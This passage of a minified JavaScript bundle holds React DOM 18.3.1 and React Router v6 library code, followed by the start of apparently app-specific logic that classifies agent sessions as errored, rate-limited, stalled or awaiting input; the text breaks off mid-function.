be=e,n()}finally{be=a}},Ka=function(e,n,a){switch(n){case"input":if(Ua(e,a),n=a.name,a.type==="radio"&&n!=null){for(a=e;a.parentNode;)a=a.parentNode;for(a=a.querySelectorAll("input[name="+JSON.stringify(""+n)+'][type="radio"]'),n=0;n<a.length;n++){var l=a[n];if(l!==e&&l.form===e.form){var c=Ci(l);if(!c)throw Error(i(90));Wu(l),Ua(l,c)}}}break;case"textarea":Qu(e,a);break;case"select":n=a.value,n!=null&&_r(e,!!a.multiple,n,!1)}},ac=Sl,sc=lr;var Tg={usingClientEntryPoint:!1,Events:[Bo,Tr,Ci,oc,ic,Sl]},qo={findFiberByHostInstance:er,bundleType:0,version:"18.3.1",rendererPackageName:"react-dom"},Bg={bundleType:qo.bundleType,version:qo.version,rendererPackageName:qo.rendererPackageName,rendererConfig:qo.rendererConfig,overrideHookState:null,overrideHookStateDeletePath:null,overrideHookStateRenamePath:null,overrideProps:null,overridePropsDeletePath:null,overridePropsRenamePath:null,setErrorHandler:null,setSuspenseHandler:null,scheduleUpdate:null,currentDispatcherRef:G.ReactCurrentDispatcher,findHostInstanceByFiber:function(e){return e=dc(e),e===null?null:e.stateNode},findFiberByHostInstance:qo.findFiberByHostInstance||zg,findHostInstancesForRefresh:null,scheduleRefresh:null,scheduleRoot:null,setRefreshHandler:null,getCurrentFiber:null,reconcilerVersion:"18.3.1-next-f1338f8080-20240426"};if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__<"u"){var pa=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!pa.isDisabled&&pa.supportsFiber)try{ui=pa.inject(Bg),Xt=pa}catch{}}return xt.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=Tg,xt.createPortal=function(e,n){var a=2<arguments.length&&arguments[2]!==void 0?arguments[2]:null;if(!Nl(n))throw Error(i(200));return bg(e,n,null,a)},xt.createRoot=function(e,n){if(!Nl(e))throw Error(i(299));var a=!1,l="",c=Lp;return n!=null&&(n.unstable_strictMode===!0&&(a=!0),n.identifierPrefix!==void 0&&(l=n.identifierPrefix),n.onRecoverableError!==void 0&&(c=n.onRecoverableError)),n=Bl(e,1,!1,null,null,a,!1,l,c),e[an]=n.current,zo(e.nodeType===8?e.parentNode:e),new Pl(n)},xt.findDOMNode=function(e){if(e==null)return null;if(e.nodeType===1)return e;var n=e._reactInternals;if(n===void 0)throw typeof e.render=="function"?Error(i(188)):(e=Object.keys(e).join(","),Error(i(268,e)));return e=dc(n),e=e===null?null:e.stateNode,e},xt.flushSync=function(e){return lr(e)},xt.hydrate=function(e,n,a){if(!ca(n))throw Error(i(200));return da(null,e,n,!0,a)},xt.hydrateRoot=function(e,n,a){if(!Nl(e))throw Error(i(405));var l=a!=null&&a.hydratedSources||null,c=!1,f="",v=Lp;if(a!=null&&(a.unstable_strictMode===!0&&(c=!0),a.identifierPrefix!==void 0&&(f=a.identifierPrefix),a.onRecoverableError!==void 0&&(v=a.onRecoverableError)),n=jp(n,null,e,1,a??null,c,!1,f,v),e[an]=n.current,zo(e),l)for(e=0;e<l.length;e++)a=l[e],c=a._getVersion,c=c(a._source),n.mutableSourceEagerHydrationData==null?n.mutableSourceEagerHydrationData=[a,c]:n.mutableSourceEagerHydrationData.push(a,c);return new ua(n)},xt.render=function(e,n,a){if(!ca(n))throw Error(i(200));return da(null,e,n,!1,a)},xt.unmountComponentAtNode=function(e){if(!ca(e))throw Error(i(40));return e._reactRootContainer?(lr(function(){da(null,null,e,!1,function(){e._reactRootContainer=null,e[an]=null})}),!0):!1},xt.unstable_batchedUpdates=Sl,xt.unstable_renderSubtreeIntoContainer=function(e,n,a,l){if(!ca(a))throw Error(i(200));if(e==null||e._reactInternals===void 0)throw Error(i(38));return da(e,n,a,!1,l)},xt.version="18.3.1-next-f1338f8080-20240426",xt}var Hp;function Wf(){if(Hp)return jl.exports;Hp=1;function t(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__>"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(t)}catch(r){console.error(r)}}return t(),jl.exports=Dg(),jl.exports}var Gp;function Mg(){if(Gp)return fa;Gp=1;var t=Wf();return fa.createRoot=t.createRoot,fa.hydrateRoot=t.hydrateRoot,fa}var Fg=Mg();const Ug=qf(Fg);Wf();function Go(){return Go=Object.assign?Object.assign.bind():function(t){for(var r=1;r<arguments.length;r++){var i=arguments[r];for(var s in i)({}).hasOwnProperty.call(i,s)&&(t[s]=i[s])}return t},Go.apply(null,arguments)}var Zn;(function(t){t.Pop="POP",t.Push="PUSH",t.Replace="REPLACE"})(Zn||(Zn={}));const Jp="popstate";function Zg(t){t===void 0&&(t={});function r(s,u){let{pathname:p,search:d,hash:m}=s.location;return ql("",{pathname:p,search:d,hash:m},u.state&&u.state.usr||null,u.state&&u.state.key||"default")}function i(s,u){return typeof u=="string"?u:wa(u)}return Vg(r,i,null,t)}function Fe(t,r){if(t===!1||t===null||typeof t>"u")throw new Error(r)}function au(t,r){if(!t){typeof console<"u"&&console.warn(r);try{throw new Error(r)}catch{}}}function qg(){return Math.random().toString(36).substr(2,8)}function Kp(t,r){return{usr:t.state,key:t.key,idx:r}}function ql(t,r,i,s){return i===void 0&&(i=null),Go({pathname:typeof t=="string"?t:t.pathname,search:"",hash:""},typeof r=="string"?to(r):r,{state:i,key:r&&r.key||s||qg()})}function wa(t){let{pathname:r="/",search:i="",hash:s=""}=t;return i&&i!=="?"&&(r+=i.charAt(0)==="?"?i:"?"+i),s&&s!=="#"&&(r+=s.charAt(0)==="#"?s:"#"+s),r}function to(t){let r={};if(t){let i=t.indexOf("#");i>=0&&(r.hash=t.substr(i),t=t.substr(0,i));let s=t.indexOf("?");s>=0&&(r.search=t.substr(s),t=t.substr(0,s)),t&&(r.pathname=t)}return r}function Vg(t,r,i,s){s===void 0&&(s={});let{window:u=document.defaultView,v5Compat:p=!1}=s,d=u.history,m=Zn.Pop,g=null,y=E();y==null&&(y=0,d.replaceState(Go({},d.state,{idx:y}),""));function E(){return(d.state||{idx:null}).idx}function S(){m=Zn.Pop;let O=E(),H=O==null?null:O-y;y=O,g&&g({action:m,location:W.location,delta:H})}function T(O,H){m=Zn.Push;let oe=ql(W.location,O,H);y=E()+1;let Q=Kp(oe,y),G=W.createHref(oe);try{d.pushState(Q,"",G)}catch(ee){if(ee instanceof DOMException&&ee.name==="DataCloneError")throw ee;u.location.assign(G)}p&&g&&g({action:m,location:W.location,delta:1})}function A(O,H){m=Zn.Replace;let oe=ql(W.location,O,H);y=E();let Q=Kp(oe,y),G=W.createHref(oe);d.replaceState(Q,"",G),p&&g&&g({action:m,location:W.location,delta:0})}function D(O){let H=u.location.origin!=="null"?u.location.origin:u.location.href,oe=typeof O=="string"?O:wa(O);return oe=oe.replace(/ $/,"%20"),Fe(H,"No window.location.(origin|href) available to create URL for href: "+oe),new URL(oe,H)}let W={get action(){return m},get location(){return t(u,d)},listen(O){if(g)throw new Error("A history only accepts one active listener");return u.addEventListener(Jp,S),g=O,()=>{u.removeEventListener(Jp,S),g=null}},createHref(O){return r(u,O)},createURL:D,encodeLocation(O){let H=D(O);return{pathname:H.pathname,search:H.search,hash:H.hash}},push:T,replace:A,go(O){return d.go(O)}};return W}var Qp;(function(t){t.data="data",t.deferred="deferred",t.redirect="redirect",t.error="error"})(Qp||(Qp={}));function Wg(t,r,i){return i===void 0&&(i="/"),Hg(t,r,i)}function Hg(t,r,i,s){let u=typeof r=="string"?to(r):r,p=Qr(u.pathname||"/",i);if(p==null)return null;let d=Hf(t);Gg(d);let m=null,g=i0(p);for(let y=0;m==null&&y<d.length;++y)m=r0(d[y],g);return m}function Hf(t,r,i,s){r===void 0&&(r=[]),i===void 0&&(i=[]),s===void 0&&(s="");let u=(p,d,m)=>{let g={relativePath:m===void 0?p.path||"":m,caseSensitive:p.caseSensitive===!0,childrenIndex:d,route:p};g.relativePath.startsWith("/")&&(Fe(g.relativePath.startsWith(s),'Absolute route path "'+g.relativePath+'" nested under path '+('"'+s+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),g.relativePath=g.relativePath.slice(s.length));let y=Vn([s,g.relativePath]),E=i.concat(g);p.children&&p.children.length>0&&(Fe(p.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+y+'".')),Hf(p.children,r,E,y)),!(p.path==null&&!p.index)&&r.push({path:y,score:t0(y,p.index),routesMeta:E})};return t.forEach((p,d)=>{var m;if(p.path===""||!((m=p.path)!=null&&m.includes("?")))u(p,d);else for(let g of Gf(p.path))u(p,d,g)}),r}function Gf(t){let r=t.split("/");if(r.length===0)return[];let[i,...s]=r,u=i.endsWith("?"),p=i.replace(/\?$/,"");if(s.length===0)return u?[p,""]:[p];let d=Gf(s.join("/")),m=[];return m.push(...d.map(g=>g===""?p:[p,g].join("/"))),u&&m.push(...d),m.map(g=>t.startsWith("/")&&g===""?"/":g)}function Gg(t){t.sort((r,i)=>r.score!==i.score?i.score-r.score:n0(r.routesMeta.map(s=>s.childrenIndex),i.routesMeta.map(s=>s.childrenIndex)))}const Jg=/^:[\w-]+$/,Kg=3,Qg=2,Yg=1,Xg=10,e0=-2,Yp=t=>t==="*";function t0(t,r){let i=t.split("/"),s=i.length;return i.some(Yp)&&(s+=e0),r&&(s+=Qg),i.filter(u=>!Yp(u)).reduce((u,p)=>u+(Jg.test(p)?Kg:p===""?Yg:Xg),s)}function n0(t,r){return t.length===r.length&&t.slice(0,-1).every((s,u)=>s===r[u])?t[t.length-1]-r[r.length-1]:0}function r0(t,r,i){let{routesMeta:s}=t,u={},p="/",d=[];for(let m=0;m<s.length;++m){let g=s[m],y=m===s.length-1,E=p==="/"?r:r.slice(p.length)||"/",S=Vl({path:g.relativePath,caseSensitive:g.caseSensitive,end:y},E),T=g.route;if(!S)return null;Object.assign(u,S.params),d.push({params:u,pathname:Vn([p,S.pathname]),pathnameBase:c0(Vn([p,S.pathnameBase])),route:T}),S.pathnameBase!=="/"&&(p=Vn([p,S.pathnameBase]))}return d}function Vl(t,r){typeof t=="string"&&(t={path:t,caseSensitive:!1,end:!0});let[i,s]=o0(t.path,t.caseSensitive,t.end),u=r.match(i);if(!u)return null;let p=u[0],d=p.replace(/(.)\/+$/,"$1"),m=u.slice(1);return{params:s.reduce((y,E,S)=>{let{paramName:T,isOptional:A}=E;if(T==="*"){let W=m[S]||"";d=p.slice(0,p.length-W.length).replace(/(.)\/+$/,"$1")}const D=m[S];return A&&!D?y[T]=void 0:y[T]=(D||"").replace(/%2F/g,"/"),y},{}),pathname:p,pathnameBase:d,pattern:t}}function o0(t,r,i){r===void 0&&(r=!1),i===void 0&&(i=!0),au(t==="*"||!t.endsWith("*")||t.endsWith("/*"),'Route path "'+t+'" will be treated as if it were '+('"'+t.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+t.replace(/\*$/,"/*")+'".'));let s=[],u="^"+t.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(d,m,g)=>(s.push({paramName:m,isOptional:g!=null}),g?"/?([^\\/]+)?":"/([^\\/]+)"));return t.endsWith("*")?(s.push({paramName:"*"}),u+=t==="*"||t==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):i?u+="\\/*$":t!==""&&t!=="/"&&(u+="(?:(?=\\/|$))"),[new RegExp(u,r?void 0:"i"),s]}function i0(t){try{return t.split("/").map(r=>decodeURIComponent(r).replace(/\//g,"%2F")).join("/")}catch(r){return au(!1,'The URL path "'+t+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+r+").")),t}}function Qr(t,r){if(r==="/")return t;if(!t.toLowerCase().startsWith(r.toLowerCase()))return null;let i=r.endsWith("/")?r.length-1:r.length,s=t.charAt(i);return s&&s!=="/"?null:t.slice(i)||"/"}const a0=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,s0=t=>a0.test(t);function l0(t,r){r===void 0&&(r="/");let{pathname:i,search:s="",hash:u=""}=typeof t=="string"?to(t):t,p;if(i)if(s0(i))p=i;else{if(i.includes("//")){let d=i;i=Jf(i),au(!1,"Pathnames cannot have embedded double slashes - normalizing "+(d+" -> "+i))}i.startsWith("/")?p=Xp(i.substring(1),"/"):p=Xp(i,r)}else p=r;return{pathname:p,search:d0(s),hash:p0(u)}}function Xp(t,r){let i=r.replace(/\/+$/,"").split("/");return t.split("/").forEach(u=>{u===".."?i.length>1&&i.pop():u!=="."&&i.push(u)}),i.length>1?i.join("/"):"/"}function Dl(t,r,i,s){return"Cannot include a '"+t+"' character in a manually specified "+("`to."+r+"` field ["+JSON.stringify(s)+"].  Please separate it out to the ")+("`to."+i+"` field. Alternatively you may provide the full path as ")+'a string in <Link to="..."> and the router will parse it for you.'}function u0(t){return t.filter((r,i)=>i===0||r.route.path&&r.route.path.length>0)}function su(t,r){let i=u0(t);return r?i.map((s,u)=>u===i.length-1?s.pathname:s.pathnameBase):i.map(s=>s.pathnameBase)}function lu(t,r,i,s){s===void 0&&(s=!1);let u;typeof t=="string"?u=to(t):(u=Go({},t),Fe(!u.pathname||!u.pathname.includes("?"),Dl("?","pathname","search",u)),Fe(!u.pathname||!u.pathname.includes("#"),Dl("#","pathname","hash",u)),Fe(!u.search||!u.search.includes("#"),Dl("#","search","hash",u)));let p=t===""||u.pathname==="",d=p?"/":u.pathname,m;if(d==null)m=i;else{let S=r.length-1;if(!s&&d.startsWith("..")){let T=d.split("/");for(;T[0]==="..";)T.shift(),S-=1;u.pathname=T.join("/")}m=S>=0?r[S]:"/"}let g=l0(u,m),y=d&&d!=="/"&&d.endsWith("/"),E=(p||d===".")&&i.endsWith("/");return!g.pathname.endsWith("/")&&(y||E)&&(g.pathname+="/"),g}const Jf=t=>t.replace(/\/\/+/g,"/"),Vn=t=>Jf(t.join("/")),c0=t=>t.replace(/\/+$/,"").replace(/^\/*/,"/"),d0=t=>!t||t==="?"?"":t.startsWith("?")?t:"?"+t,p0=t=>!t||t==="#"?"":t.startsWith("#")?t:"#"+t;function f0(t){return t!=null&&typeof t.status=="number"&&typeof t.statusText=="string"&&typeof t.internal=="boolean"&&"data"in t}const Kf=["post","put","patch","delete"];new Set(Kf);const m0=["get",...Kf];new Set(m0);function Jo(){return Jo=Object.assign?Object.assign.bind():function(t){for(var r=1;r<arguments.length;r++){var i=arguments[r];for(var s in i)({}).hasOwnProperty.call(i,s)&&(t[s]=i[s])}return t},Jo.apply(null,arguments)}const za=b.createContext(null),Qf=b.createContext(null),gn=b.createContext(null),Ca=b.createContext(null),yn=b.createContext({outlet:null,matches:[],isDataRoute:!1}),Yf=b.createContext(null);function v0(t,r){let{relative:i}=r===void 0?{}:r;no()||Fe(!1);let{basename:s,navigator:u}=b.useContext(gn),{hash:p,pathname:d,search:m}=Ta(t,{relative:i}),g=d;return s!=="/"&&(g=d==="/"?s:Vn([s,d])),u.createHref({pathname:g,search:m,hash:p})}function no(){return b.useContext(Ca)!=null}function _n(){return no()||Fe(!1),b.useContext(Ca).location}function Xf(t){b.useContext(gn).static||b.useLayoutEffect(t)}function uu(){let{isDataRoute:t}=b.useContext(yn);return t?C0():h0()}function h0(){no()||Fe(!1);let t=b.useContext(za),{basename:r,future:i,navigator:s}=b.useContext(gn),{matches:u}=b.useContext(yn),{pathname:p}=_n(),d=JSON.stringify(su(u,i.v7_relativeSplatPath)),m=b.useRef(!1);return Xf(()=>{m.current=!0}),b.useCallback(function(y,E){if(E===void 0&&(E={}),!m.current)return;if(typeof y=="number"){s.go(y);return}let S=lu(y,JSON.parse(d),p,E.relative==="path");t==null&&r!=="/"&&(S.pathname=S.pathname==="/"?r:Vn([r,S.pathname])),(E.replace?s.replace:s.push)(S,E.state,E)},[r,s,d,p,t])}function A6(){let{matches:t}=b.useContext(yn),r=t[t.length-1];return r?r.params:{}}function Ta(t,r){let{relative:i}=r===void 0?{}:r,{future:s}=b.useContext(gn),{matches:u}=b.useContext(yn),{pathname:p}=_n(),d=JSON.stringify(su(u,s.v7_relativeSplatPath));return b.useMemo(()=>lu(t,JSON.parse(d),p,i==="path"),[t,d,p,i])}function g0(t,r){return y0(t,r)}function y0(t,r,i,s){no()||Fe(!1);let{navigator:u}=b.useContext(gn),{matches:p}=b.useContext(yn),d=p[p.length-1],m=d?d.params:{};d&&d.pathname;let g=d?d.pathnameBase:"/";d&&d.route;let y=_n(),E;if(r){var S;let O=typeof r=="string"?to(r):r;g==="/"||(S=O.pathname)!=null&&S.startsWith(g)||Fe(!1),E=O}else E=y;let T=E.pathname||"/",A=T;if(g!=="/"){let O=g.replace(/^\//,"").split("/");A="/"+T.replace(/^\//,"").split("/").slice(O.length).join("/")}let D=Wg(t,{pathname:A}),W=I0(D&&D.map(O=>Object.assign({},O,{params:Object.assign({},m,O.params),pathname:Vn([g,u.encodeLocation?u.encodeLocation(O.pathname).pathname:O.pathname]),pathnameBase:O.pathnameBase==="/"?g:Vn([g,u.encodeLocation?u.encodeLocation(O.pathnameBase).pathname:O.pathnameBase])})),p,i,s);return r&&W?b.createElement(Ca.Provider,{value:{location:Jo({pathname:"/",search:"",hash:"",state:null,key:"default"},E),navigationType:Zn.Pop}},W):W}function _0(){let t=z0(),r=f0(t)?t.status+" "+t.statusText:t instanceof Error?t.message:JSON.stringify(t),i=t instanceof Error?t.stack:null,u={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return b.createElement(b.Fragment,null,b.createElement("h2",null,"Unexpected Application Error!"),b.createElement("h3",{style:{fontStyle:"italic"}},r),i?b.createElement("pre",{style:u},i):null,null)}const w0=b.createElement(_0,null);class x0 extends b.Component{constructor(r){super(r),this.state={location:r.location,revalidation:r.revalidation,error:r.error}}static getDerivedStateFromError(r){return{error:r}}static getDerivedStateFromProps(r,i){return i.location!==r.location||i.revalidation!=="idle"&&r.revalidation==="idle"?{error:r.error,location:r.location,revalidation:r.revalidation}:{error:r.error!==void 0?r.error:i.error,location:i.location,revalidation:r.revalidation||i.revalidation}}componentDidCatch(r,i){console.error("React Router caught the following error during render",r,i)}render(){return this.state.error!==void 0?b.createElement(yn.Provider,{value:this.props.routeContext},b.createElement(Yf.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function E0(t){let{routeContext:r,match:i,children:s}=t,u=b.useContext(za);return u&&u.static&&u.staticContext&&(i.route.errorElement||i.route.ErrorBoundary)&&(u.staticContext._deepestRenderedBoundaryId=i.route.id),b.createElement(yn.Provider,{value:r},s)}function I0(t,r,i,s){var u;if(r===void 0&&(r=[]),i===void 0&&(i=null),s===void 0&&(s=null),t==null){var p;if(!i)return null;if(i.errors)t=i.matches;else if((p=s)!=null&&p.v7_partialHydration&&r.length===0&&!i.initialized&&i.matches.length>0)t=i.matches;else return null}let d=t,m=(u=i)==null?void 0:u.errors;if(m!=null){let E=d.findIndex(S=>S.route.id&&m?.[S.route.id]!==void 0);E>=0||Fe(!1),d=d.slice(0,Math.min(d.length,E+1))}let g=!1,y=-1;if(i&&s&&s.v7_partialHydration)for(let E=0;E<d.length;E++){let S=d[E];if((S.route.HydrateFallback||S.route.hydrateFallbackElement)&&(y=E),S.route.id){let{loaderData:T,errors:A}=i,D=S.route.loader&&T[S.route.id]===void 0&&(!A||A[S.route.id]===void 0);if(S.route.lazy||D){g=!0,y>=0?d=d.slice(0,y+1):d=[d[0]];break}}}return d.reduceRight((E,S,T)=>{let A,D=!1,W=null,O=null;i&&(A=m&&S.route.id?m[S.route.id]:void 0,W=S.route.errorElement||w0,g&&(y<0&&T===0?(T0("route-fallback"),D=!0,O=null):y===T&&(D=!0,O=S.route.hydrateFallbackElement||null)));let H=r.concat(d.slice(0,T+1)),oe=()=>{let Q;return A?Q=W:D?Q=O:S.route.Component?Q=b.createElement(S.route.Component,null):S.route.element?Q=S.route.element:Q=E,b.createElement(E0,{match:S,routeContext:{outlet:E,matches:H,isDataRoute:i!=null},children:Q})};return i&&(S.route.ErrorBoundary||S.route.errorElement||T===0)?b.createElement(x0,{location:i.location,revalidation:i.revalidation,component:W,error:A,children:oe(),routeContext:{outlet:null,matches:H,isDataRoute:!0}}):oe()},null)}var em=(function(t){return t.UseBlocker="useBlocker",t.UseRevalidator="useRevalidator",t.UseNavigateStable="useNavigate",t})(em||{}),tm=(function(t){return t.UseBlocker="useBlocker",t.UseLoaderData="useLoaderData",t.UseActionData="useActionData",t.UseRouteError="useRouteError",t.UseNavigation="useNavigation",t.UseRouteLoaderData="useRouteLoaderData",t.UseMatches="useMatches",t.UseRevalidator="useRevalidator",t.UseNavigateStable="useNavigate",t.UseRouteId="useRouteId",t})(tm||{});function S0(t){let r=b.useContext(za);return r||Fe(!1),r}function k0(t){let r=b.useContext(Qf);return r||Fe(!1),r}function b0(t){let r=b.useContext(yn);return r||Fe(!1),r}function nm(t){let r=b0(),i=r.matches[r.matches.length-1];return i.route.id||Fe(!1),i.route.id}function z0(){var t;let r=b.useContext(Yf),i=k0(),s=nm();return r!==void 0?r:(t=i.errors)==null?void 0:t[s]}function C0(){let{router:t}=S0(em.UseNavigateStable),r=nm(tm.UseNavigateStable),i=b.useRef(!1);return Xf(()=>{i.current=!0}),b.useCallback(function(u,p){p===void 0&&(p={}),i.current&&(typeof u=="number"?t.navigate(u):t.navigate(u,Jo({fromRouteId:r},p)))},[t,r])}const ef={};function T0(t,r,i){ef[t]||(ef[t]=!0)}function B0(t,r){t?.v7_startTransition,t?.v7_relativeSplatPath}function R0(t){let{to:r,replace:i,state:s,relative:u}=t;no()||Fe(!1);let{future:p,static:d}=b.useContext(gn),{matches:m}=b.useContext(yn),{pathname:g}=_n(),y=uu(),E=lu(r,su(m,p.v7_relativeSplatPath),g,u==="path"),S=JSON.stringify(E);return b.useEffect(()=>y(JSON.parse(S),{replace:i,state:s,relative:u}),[y,S,u,i,s]),null}function on(t){Fe(!1)}function P0(t){let{basename:r="/",children:i=null,location:s,navigationType:u=Zn.Pop,navigator:p,static:d=!1,future:m}=t;no()&&Fe(!1);let g=r.replace(/^\/*/,"/"),y=b.useMemo(()=>({basename:g,navigator:p,static:d,future:Jo({v7_relativeSplatPath:!1},m)}),[g,m,p,d]);typeof s=="string"&&(s=to(s));let{pathname:E="/",search:S="",hash:T="",state:A=null,key:D="default"}=s,W=b.useMemo(()=>{let O=Qr(E,g);return O==null?null:{location:{pathname:O,search:S,hash:T,state:A,key:D},navigationType:u}},[g,E,S,T,A,D,u]);return W==null?null:b.createElement(gn.Provider,{value:y},b.createElement(Ca.Provider,{children:i,value:W}))}function N0(t){let{children:r,location:i}=t;return g0(Wl(r),i)}new Promise(()=>{});function Wl(t,r){r===void 0&&(r=[]);let i=[];return b.Children.forEach(t,(s,u)=>{if(!b.isValidElement(s))return;let p=[...r,u];if(s.type===b.Fragment){i.push.apply(i,Wl(s.props.children,p));return}s.type!==on&&Fe(!1),!s.props.index||!s.props.children||Fe(!1);let d={id:s.props.id||p.join("-"),caseSensitive:s.props.caseSensitive,element:s.props.element,Component:s.props.Component,index:s.props.index,path:s.props.path,loader:s.props.loader,action:s.props.action,errorElement:s.props.errorElement,ErrorBoundary:s.props.ErrorBoundary,hasErrorBoundary:s.props.ErrorBoundary!=null||s.props.errorElement!=null,shouldRevalidate:s.props.shouldRevalidate,handle:s.props.handle,lazy:s.props.lazy};s.props.children&&(d.children=Wl(s.props.children,p)),i.push(d)}),i}function xa(){return xa=Object.assign?Object.assign.bind():function(t){for(var r=1;r<arguments.length;r++){var i=arguments[r];for(var s in i)({}).hasOwnProperty.call(i,s)&&(t[s]=i[s])}return t},xa.apply(null,arguments)}function rm(t,r){if(t==null)return{};var i={};for(var s in t)if({}.hasOwnProperty.call(t,s)){if(r.indexOf(s)!==-1)continue;i[s]=t[s]}return i}function A0(t){return!!(t.metaKey||t.altKey||t.ctrlKey||t.shiftKey)}function O0(t,r){return t.button===0&&(!r||r==="_self")&&!A0(t)}function Hl(t){return t===void 0&&(t=""),new URLSearchParams(typeof t=="string"||Array.isArray(t)||t instanceof URLSearchParams?t:Object.keys(t).reduce((r,i)=>{let s=t[i];return r.concat(Array.isArray(s)?s.map(u=>[i,u]):[[i,s]])},[]))}function j0(t,r){let i=Hl(t);return r&&r.forEach((s,u)=>{i.has(u)||r.getAll(u).forEach(p=>{i.append(u,p)})}),i}const $0=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],L0=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],D0="6";try{window.__reactRouterVersion=D0}catch{}const M0=b.createContext({isTransitioning:!1}),F0="startTransition",tf=jg[F0];function U0(t){let{basename:r,children:i,future:s,window:u}=t,p=b.useRef();p.current==null&&(p.current=Zg({window:u,v5Compat:!0}));let d=p.current,[m,g]=b.useState({action:d.action,location:d.location}),{v7_startTransition:y}=s||{},E=b.useCallback(S=>{y&&tf?tf(()=>g(S)):g(S)},[g,y]);return b.useLayoutEffect(()=>d.listen(E),[d,E]),b.useEffect(()=>B0(s),[s]),b.createElement(P0,{basename:r,children:i,location:m.location,navigationType:m.action,navigator:d,future:s})}const Z0=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",q0=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,V0=b.forwardRef(function(r,i){let{onClick:s,relative:u,reloadDocument:p,replace:d,state:m,target:g,to:y,preventScrollReset:E,viewTransition:S}=r,T=rm(r,$0),{basename:A}=b.useContext(gn),D,W=!1;if(typeof y=="string"&&q0.test(y)&&(D=y,Z0))try{let Q=new URL(window.location.href),G=y.startsWith("//")?new URL(Q.protocol+y):new URL(y),ee=Qr(G.pathname,A);G.origin===Q.origin&&ee!=null?y=ee+G.search+G.hash:W=!0}catch{}let O=v0(y,{relative:u}),H=G0(y,{replace:d,state:m,target:g,preventScrollReset:E,relative:u,viewTransition:S});function oe(Q){s&&s(Q),Q.defaultPrevented||H(Q)}return b.createElement("a",xa({},T,{href:D||O,onClick:W||p?s:oe,ref:i,target:g}))}),W0=b.forwardRef(function(r,i){let{"aria-current":s="page",caseSensitive:u=!1,className:p="",end:d=!1,style:m,to:g,viewTransition:y,children:E}=r,S=rm(r,L0),T=Ta(g,{relative:S.relative}),A=_n(),D=b.useContext(Qf),{navigator:W,basename:O}=b.useContext(gn),H=D!=null&&J0(T)&&y===!0,oe=W.encodeLocation?W.encodeLocation(T).pathname:T.pathname,Q=A.pathname,G=D&&D.navigation&&D.navigation.location?D.navigation.location.pathname:null;u||(Q=Q.toLowerCase(),G=G?G.toLowerCase():null,oe=oe.toLowerCase()),G&&O&&(G=Qr(G,O)||G);const ee=oe!=="/"&&oe.endsWith("/")?oe.length-1:oe.length;let ue=Q===oe||!d&&Q.startsWith(oe)&&Q.charAt(ee)==="/",de=G!=null&&(G===oe||!d&&G.startsWith(oe)&&G.charAt(oe.length)==="/"),pe={isActive:ue,isPending:de,isTransitioning:H},Re=ue?s:void 0,ye;typeof p=="function"?ye=p(pe):ye=[p,ue?"active":null,de?"pending":null,H?"transitioning":null].filter(Boolean).join(" ");let Ze=typeof m=="function"?m(pe):m;return b.createElement(V0,xa({},S,{"aria-current":Re,className:ye,ref:i,style:Ze,to:g,viewTransition:y}),typeof E=="function"?E(pe):E)});var Gl;(function(t){t.UseScrollRestoration="useScrollRestoration",t.UseSubmit="useSubmit",t.UseSubmitFetcher="useSubmitFetcher",t.UseFetcher="useFetcher",t.useViewTransitionState="useViewTransitionState"})(Gl||(Gl={}));var nf;(function(t){t.UseFetcher="useFetcher",t.UseFetchers="useFetchers",t.UseScrollRestoration="useScrollRestoration"})(nf||(nf={}));function H0(t){let r=b.useContext(za);return r||Fe(!1),r}function G0(t,r){let{target:i,replace:s,state:u,preventScrollReset:p,relative:d,viewTransition:m}=r===void 0?{}:r,g=uu(),y=_n(),E=Ta(t,{relative:d});return b.useCallback(S=>{if(O0(S,i)){S.preventDefault();let T=s!==void 0?s:wa(y)===wa(E);g(t,{replace:T,state:u,preventScrollReset:p,relative:d,viewTransition:m})}},[y,g,E,s,u,i,t,p,d,m])}function O6(t){let r=b.useRef(Hl(t)),i=b.useRef(!1),s=_n(),u=b.useMemo(()=>j0(s.search,i.current?null:r.current),[s.search]),p=uu(),d=b.useCallback((m,g)=>{const y=Hl(typeof m=="function"?m(u):m);i.current=!0,p("?"+y,g)},[p,u]);return[u,d]}function J0(t,r){r===void 0&&(r={});let i=b.useContext(M0);i==null&&Fe(!1);let{basename:s}=H0(Gl.useViewTransitionState),u=Ta(t,{relative:r.relative});if(!i.isTransitioning)return!1;let p=Qr(i.currentLocation.pathname,s)||i.currentLocation.pathname,d=Qr(i.nextLocation.pathname,s)||i.nextLocation.pathname;return Vl(u.pathname,d)!=null||Vl(u.pathname,p)!=null}const K0=new Set(["failed","errored","stuck","crashed"]),Q0=new Set(["rate-limited","rate_limited","waiting"]),Y0={"awaiting-input":"respond",errored:"reset","rate-limited":"nudge",stalled:"nudge"};function X0(t,r){const i=new Map;for(const u of r)i.set(u.agentName,u.prompt);const s=[];for(const u of t){const p=i.has(u.name),d=ey(u,p);d!==null&&s.push({name:u.name,reason:d,detail:ny(u,d,i.get(u.name)),action:Y0[d]})}return s}function ey(t,r){if(r)return"awaiting-input";const i=t.state.toLowerCase();return K0.has(i)?"errored":Q0.has(i)?"rate-limited":ty(t,i)?"stalled":null}function ty(t,r){return r==="detached"?!0:t.running&&t.session===void 0}function ny(t,r,i){switch(r){case"awaiting-input":return ry(i);case"errored":return`Exited ${t.state}.`;case"rate-limited":return"Throttled by a provider limit.";case"stalled":return 